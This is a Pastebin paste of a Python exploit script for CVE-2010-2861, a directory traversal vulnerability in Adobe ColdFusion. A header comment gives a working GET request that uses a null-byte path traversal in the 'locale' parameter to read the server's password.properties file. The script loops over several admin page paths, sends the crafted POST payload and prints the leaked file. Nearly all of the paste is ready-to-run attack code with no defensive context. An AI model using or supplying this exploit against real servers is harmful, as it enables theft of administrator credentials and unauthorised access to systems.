UY-Scuti

ColdFusion Directory Traversal

Dec 18th, 2018
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. # Working GET request courtesy of carnal0wnage:
  2. # http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
  3. #
  4. # LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"
  5.  
  6.  
  7. #!/usr/bin/python
  8.  
  9. # CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
  10. # detailed information about the exploitation of this vulnerability:
  11. # http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
  12.  
  13. # leo 13.08.2010
  14.  
  15. import sys
  16. import socket
  17. import re
  18.  
  19. # in case some directories are blocked
  20. filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")
  21.  
  22. post = """POST %s HTTP/1.1
  23. Host: %s
  24. Connection: close
  25. Content-Type: application/x-www-form-urlencoded
  26. Content-Length: %d
  27.  
  28. locale=%%00%s%%00a"""
  29.  
  30. def main():
  31. if len(sys.argv) != 4:
  32. print "usage: %s <host> <port> <file_path>" % sys.argv[0]
  33. print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
  34. print "if successful, the file will be printed"
  35. return
  36.  
  37. host = sys.argv[1]
  38. port = sys.argv[2]
  39. path = sys.argv[3]
  40.  
  41. for f in filenames:
  42. print "------------------------------"
  43. print "trying", f
  44.  
  45. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  46. s.connect((host, int(port)))
  47. s.send(post % (f, host, len(path) + 14, path))
  48.  
  49. buf = ""
  50. while 1:
  51. buf_s = s.recv(1024)
  52. if len(buf_s) == 0:
  53. break
  54. buf += buf_s
  55.  
  56. m = re.search('<title>(.*)</title>', buf, re.S)
  57. if m != None:
  58. title = m.groups(0)[0]
  59. print "title from server in %s:" % f
  60. print "------------------------------"
  61. print m.groups(0)[0]
  62. print "------------------------------"
  63.  
  64. if __name__ == '__main__':
  65. main()
Advertisement
Add Comment
Please, Sign In to add comment